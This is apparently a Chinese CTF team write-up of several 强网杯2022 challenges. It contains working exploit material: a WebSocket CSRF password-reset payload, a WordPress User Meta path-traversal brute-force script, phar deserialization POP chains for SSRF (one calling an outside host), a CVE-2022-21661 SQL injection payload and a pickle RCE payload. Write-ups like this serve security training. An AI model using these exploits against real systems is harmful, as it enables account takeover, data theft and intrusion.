前言:
由于是大比赛还是开篇感慨两句。我对比赛题目的评价是赞不绝口。这次作为[纯情女色大学生]的队长,带领团队(基本上就我和2个web一个密码在做)完成了rcefile,babyweb,wp-um,polydiv,而ez_login,密码签到,ez_web差点出了,很是遗憾,再接再厉吧
[强网杯2022]rcefile
改content-type后可以上传txt
showfile那里可以看到参数在cookie处
userfile=a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229023ac8a2a5fc8dc0c4ad0d7bd5f4c86.txt%22%3B%7D
扫描目录,可以看到www.zip
其实是p文
https://www.leavesongs.com/penetration/sangebaimao-2015-11-12-ctf.html
先上传含有恶意代码的inc文件
随后修改cookie,让其反序列化的时候触发spl_autoload_register
[强网杯2022]babyweb
注册登录后,可以看到机器人,怀疑csrf之类
https://medium.com/@osamaavvan/exploiting-websocket-application-wide-xss-csrf-66e9e2ac8dfa
很像这个
机器人访问没有同源策略的限制
所以直接在vps上放下面这个,让admin自己改密码,我思路局限了,一直以为要xss(其实这也是xss,非同源)
<script>
var url = "ws://" + "127.0.0.1:8888" + "/bot";
var ws = new WebSocket(url);
ws.onopen = function(e) {
ws.send("changepw 123456");
}
</script>
echo "<script>var ws = new WebSocket(\"ws://127.0.0.1:8888/bot\");ws.onopen = function(e){ws.send(\"changepw 666\");}</script>" > index.html
随后bugreport http://8.129.42.140
接着可以admin:666登录,csrf一波
然后有hint,下载后是源码
仔细审计,发现显然有漏洞,前面用的是
data = request.get_json()
后面就变成了
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
变成了request.get_data()[1:],而且这个切片居然不是从0开始,赤裸裸的暗示
get_json的特点是如果json中出现同一个键的值,后者将覆盖前者,get_data则都会获取到
本地测试一下
Demo
from flask import Flask,request
app = Flask(__name__)
@app.route("/buy", methods=['POST'])
def buy():
data = request.get_json()
print(data)
data2 = request.get_data()[1:]
print(data2)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
app.py使用get_json,后者会覆盖前者,可以用于绕过num error,而go这里使用get_data,那么遍历的时候必然出现把-1拿去运算让钱变多的情况
Payload
{"product":[{"id":1,"num":0},{"id":2,"num":-1}],
"product":[{"id":1,"num":0},{"id":2,"num":0}]}
[强网杯2022]polydiv
def __truediv__(self,other):
a,b = self.param[::-1],other.param[::-1]
r = [0 for i in range(len(a) - len(b) + 1)]
for i in range(len(r)):
if a[i]==1:
r[i]=1
for j in range(len(b)):
a[i+j]=(a[i+j]+b[j])%2
return Polynomial2(r)
from pwn import *
import time
#import sqlite3
import string
import hashlib
import re
from poly2 import *
context.log_level='debug'
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
class Violent:
def get(self, target1, target2):
d = string.ascii_letters + string.digits
for i in d:
for j in d:
for k in d:
for m in d:
target = i+j+k+m+target1
ret = hashlib.sha256(target.encode()).hexdigest()
if(ret == target2):
return i+j+k+m
def getExponent(string):
string=string.decode()
res=re.findall(r"\d+",string)
for i in range(len(res)):
if res[i]=='1':
res[i]=0
else:
res[i]=int(res[i])
for i in range(len(string)):
if string[i]=='x' and string[i+1] != '^' and string[i+1] != ')':
res.append(1)
break
return res
vio = Violent()
# db.make();
host = '47.104.76.78'
port = 23334
while(1):
nc = remote(host, port)
nc.recvuntil('sha256(XXXX+')
target1 = nc.recv(16)
nc.recvuntil('== ')
target2 = nc.recv(64)
nc.recv()
nc.sendline(vio.get(target1.decode(), target2.decode()))
for a1 in range (40):
res1=nc.recvline();
res2=nc.recvline();
res3=nc.recvline();
res=nc.recvline();
res1=getExponent(res1)
res2=getExponent(res2)
res3=getExponent(res3)
print(res1,res2,res3)
Pr=Poly(res1)
Pa=Poly(res2)
Pc=Poly(res3)
Pr=Pr-Pc
print(Pr)
Pb=Pr/Pa
nc.sendline((Pb.__str__()).encode())
res=nc.recvline();
nc.interactive()
nc.close()
[强网杯2022]WP-UM
题目的暗示1
猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。
并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n
这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。
解读:用户名密码在特定目录下,wordpress插件有洞
题目的暗示2
另外,猫哥有些私密信息被他隐藏在了某个小角落。你能找到它吗?猫哥的私密信息的格式是flag{},小心被猫哥发现哦!
解读:flag的格式给出了
找到一个用户名MaoGePaMao
插件在这个目录中wp-content/plugins/
插件居然是Hello Dolly1.7.2 ,这玩意能有洞?不太可能
插件还有User Meta - User Profile Builder and User management 2.4.3 用户权限登录这些
插件还有Akismet Spam Protection 4.2.4 反垃圾评论
锁定在User Meta 2.4.3
从wp官网得知
2.4.4
- Fix: Security fix for file upload path traversal
所以就是目录穿越漏洞,如果可以穿的话,直接爆破username和password文件名就可以出admin账密
先注册账号获得订阅者的身份,然后在upload界面上传文档,上传后会有更改路径的请求,截取后做如下修改,参考https://www.zilyun.com/23036.html
找到文件会返回um_remove_file
那么就差个爆破脚本
脚本
import requests
url = "http://eci-2zeao4g9p62zgdb5p22a.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
headers = {
"cookie": "wordpress_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C48dda60795fdf5cf4ad99d7d9c898f0a0d409af55b3e1127b735eb26ba73f42c; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1658145704; wordpress_logged_in_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C89e7a880ae0017f0713acceaf9c106a3f00db397b23fb4e6e0f38286c232ebf2"
}
proxies = { "http": None, "https": None}
username = ''
# username = MaoGePaMao
for num in range(1,16):
flag = 1
for i in range(65,91):
data={
"field_name":"upload",
"filepath":"/../../../../../../../../password/"+str(num)+chr(i),
"field_id":"um_field_2","form_key":"upload","action":"um_show_uploaded_file",
"pf_nonce":"4b2836007f","is_ajax":"true"
}
r = requests.post(url=url,headers=headers,data=data)
print("test "+chr(i)+" ................")
if "um_remove_file" in r.text:
print("[*]It must be this: "+chr(i))
username = username + chr(i)
flag = 0
break
#print(r.text)
if flag == 0:
continue
for i in range(97,123):
# url0 = url+chr(i)
# print(url0)
# r = requests.get(url=url0)
# print("test "+chr(i)+" ................")
# if r.status_code != 404:
# print("[*]It must be this: "+chr(i))
data={
"field_name":"upload",
"filepath":"/../../../../../../../../password/"+str(num)+chr(i),
"field_id":"um_field_2","form_key":"upload","action":"um_show_uploaded_file",
"pf_nonce":"4b2836007f","is_ajax":"true"
}
r = requests.post(url=url,headers=headers,data=data)
print("test "+chr(i)+" ................")
if "um_remove_file" in r.text:
print("[*]It must be this: "+chr(i))
username = username + chr(i)
break
print("now username is "+username)
print("***************")
print("[*]username : "+username)
username:MaoGePaMao
password:MaoGeYaoQiFeiLa
蚁剑上去后,看日志,提权什么的很难实现,find命令又超时了,只能瞎找下,还好不难找
[强网杯2022]ez_web
showfile.php?f=xxx
这个应该是可以文件包含的,多次尝试后可以这样绕过waf读到etc/passwd,坑点就是直接看页面很难看出读到文件时的回显,burp效果很好
showfile.php?f=guest/../../../../etc/passwd
就是 任意目录名/../
,这样相当于还在当前目录,但是能绕白名单
WM有一种办法,buu的老考点:/showfile.php?f=php://filter/read=demo.jpg/resource=index.php
读源码,有index.php,class.php,showfile.php
/showfile.php?f=guest/../class.php
审计一下看到
很容易联想到ssrf,那就要内网信息搜集下
读了hosts,是这样的
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 3b35825919ae
10.10.10.5 3b35825919ae
赛后复现的时候,看到别的师傅读的是/proc/net/arp,就是记录连接过的内网ip和mac
IP address HW type Flags HW address Mask Device
10.10.10.22 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.34 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.31 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.43 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.48 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.14 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.23 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.35 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.28 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.40 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.49 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.6 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.15 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.20 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.32 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.29 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.41 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.7 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.12 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.21 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.33 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.26 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.4 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.13 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.18 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.46 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.27 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.10 0x1 0x2 02:42:0a:0a:0a:0a * eth1
10.10.10.38 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.19 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.47 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.24 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.2 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.101 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.11 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.39 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.16 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.44 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.25 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.3 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.8 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.36 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.17 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.45 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.50 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.59 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.9 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.37 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.30 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.42 0x1 0x0 00:00:00:00:00:00 * eth1
172.18.0.111 0x1 0x0 00:00:00:00:00:00 * eth0
172.18.0.1 0x1 0x2 02:42:18:cb:f4:43 * eth0
10.10.10.1 0x1 0x2 02:42:b8:04:a4:6e * eth1
mac不是00的,说明不是虚拟的ip,有如下几个真实Ip
10.10.10.1, 172.18.0.1 ,10.10.10.10
10.10.10.1这个一般代表本地回环,也就是自己的ip,那么和他同段的地址只有10.10.10.10,分析一下咱就找到了内网靶机ip
在审计那个题class.php的时候发现和nss《再见辛丑》的题的链子是很类似,赛后问了Aurora的队长得知还可以使用引用来写pop链,同时看了null的链子,发现wakeup可以直接绕过(这应该是正解,因为这题的分值其实不高)。总结至少有以下有三种pop链:
- 再见辛丑魔改链子,全版本通用,但是比较烧脑
- 引用,全版本通用,比上面短
- 绕过wakeup,PHP5 < 5.6.25 PHP7 < 7.0.10,很容易写
前两种都是绕过覆盖进行绕过__wakeup,说人话就是对象被反序列化,触发wakeup后,我们还有魔术方法能重新把变量覆写,再触发恶意方法。
- pop链1
再见辛丑的魔改链,大家可以去b站看X尼的教学视频自学,讲的超棒
GuestShow::__destruct->GuestShow::__toString->AdminShow::__get
GuestShow::__destruct->Guestshow::__toString->Upload::->get->Upload::__toString->Upload::__get
poc (miku和清辉师傅魔改的,本地亲测有效,序列化的时候会触发,反序列化也会)
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
// public function __wakeup()
// {
// if ($this->schema !== 'file:///var/www/html/') {
// $this->schema = 'file:///var/www/html/';
// }
// if ($this->source !== 'admin.png') {
// $this->source = 'admin.png';
// }
// }
}
$a = new GuestShow('1.txt');
$a1 = new GuestShow('1.txt');
$b = new Upload();
$b1 = new Upload();
$b2 = new Upload('');
$c = new AdminShow('');
$c1 = new AdminShow('');
$a->file = $b;
$a1->file = $c1;
$b->tmp = $c;
$b1->date = "http://8.129.42.140:3307";
$b2->date = '';
$b2->tmp = $a1;
$c->str[0] = $b1;
$c->str[1] = $b2;
$b1->filesize = $c1;
$b2->filesize = $c1;
$phar = new Phar('mikus.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->stopBuffering();
- pop链2
引用
poc (Aurora队长Jacko大牛写的,太强了)
可以看原文2022强网杯 (wolai.com)
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
这里最终的$url会变成file:///etc/passwd#admin.php。用户可控的点再Upload->data这
说一下调用链:
g2::desturct->g2::toString->a2::get(里面有个show())->a2::show
这个show不仅可以用于ssrf,这里还有个点运算符可以触发tosting方法。
$url = $this->schema . $this->source;
而前面$a2->schema = &$a1->name;name一开始赋值是"yyy" ,注意这里的$a1是引用,后面改变$a1->name,这个$a2->schema也会跟着一起变化;
此外我们还看到
$a2->source=$g1, $g1->file=$u, $u->filesize和tmp都是$a1
所以
$url = $this->schema . $this->source;
中的$this->source
触发tostring的时候,
g1::tostring->$u::get(并且可以看到$value就是'name')
所以等价于
这个值被赋值为$this->data="file:///var/www/html/"
这个值由于在最后一步的时候是$a1->name=$this->data="file:///var/www/html/",而联想到前面又说了后面改变$a1->name,这个$a2->schema也会跟着一起变化
所以就成了!
- pop3
wakeup绕过,建议参考
(??结果发现null战队好像没有写细节)
其实就是CVE-2016-7124
通过修改 属性数量大于真实值 来绕过wakeup
null战队这个脚本我自己是跑不通的(希望有师傅教我),不过他意思应该是用的这个方法,如果是我做的话,还要
1.用010editor把属性数量修改为比真实属性数量大的数
2.修改数字签名
有个改数字签名的脚本
import gzip
from hashlib import sha1
file = open("nss.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。
open("nss2.phar","wb").write(new_file)
随后上传即可
这里就不展开了
上传时注意到要让服务器为我们添加session,不然就被ban
浅谈 SESSION_UPLOAD_PROGRESS 的利用 - 先知社区 (aliyun.com)
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。
<form action="http://47.104.95.124:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
可以看到,上传成功了
之后访问10.10.10.10有个php-fpm,ghoper打9000端口就有flag,由于没有环境就没复现了
[强网杯2022]ezlogin
前言:这个题不知道官解是怎么样的,目前得到的解法是通过sql注入找到未过期的session进行登录,当个人认为这也应该要弄个管理员持续访问才好。这次了解了wordpress的数据库目录结构WordPress 数据库详解(是什么,创建、备份和恢复等) – WordPress大学 (wpdaxue.com),moodle的数据库目录结构https://docs.moodle.org/en/Development:Database_schema_introduction,但最终这个moodle.mdl_sessions根本不是系统默认的,呵呵,由于存在封ip已经数据表奇多无比的背景,只能人海战术手注或者sqlmap,这对我的战队很不利。
wpscan扫到的版本是
[+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10)
搜一下能找到期末那会爆出的CVE-2022-21661,就是wp的sql漏洞
payload
http://47.104.251.7/wp-admin/admin-ajax.php
action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,(select group_concat(sid) from moodle.mdl_sessions where id =3)),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id
然后这里是可以查到session的,就是你cookie的值,只要这个session未失效就可借此登录
于是这题变成一道运气成分很大的题...
登录以后可以在后台利用一些上传webshell的操作
[强网杯2022]crash
编码绕过+无R的rce
import base64
data=b'''(cbuiltins
exec
S'c="import admin;admin.s\\x65cret='thaii'";exec(c)'
o.'''
print(base64.b64encode(data))
输出
b'KGNidWlsdGlucwpleGVjClMnYz0iaW1wb3J0IGFkbWluO2FkbWluLnNceDY1Y3JldD0ndGhhaWknIjtleGVjKGMpJwpvLg=='
然后去Login
http://39.107.137.85:30843/login?username=admin&password=thaii
在balancer那里把刚刚登录给的session拷贝到hackbar新增的cookie里,还要添加userdata=KGNidWlsdGlucwpleGVjClMnYz0iaW1wb3J0IGFkbWluO2FkbWluLnNceDY1Y3JldD0ndGhhaWknIjtleGVjKGMpJwpvLg==
,之间分号隔开
请求第一次rce污染secret=thaii,下一次就直接用原来的cookie访问balancer即可(直接把hackbar的cookie那个勾取消,这样很方便)
登录进去后,可以看到负载均衡的页面
提示:flag in 504 page
这个地方就有点脑洞了,因为本身这个界面就很抽象,想象一下,如果我们这样输入:
- ip为非法ip
- 均衡值为0
最后后者可以504
但是似乎复现一次环境就被破坏了
[强网杯2022myJWT]
https://blog.soreatu.com/posts/analysis-of-cve-2022-21449-bypass-java-signature-check-by-two-zeros/
web手写java密码题还能怎么样,只能逆回去呗
byte[] newsig = new byte[16];
System.out.println(new String(Base64.getUrlEncoder().encode(newsig),StandardCharsets.ISO_8859_1));
可惜了,这题最后慢了7分钟,然后我才发现要110名才有优胜奖,淦!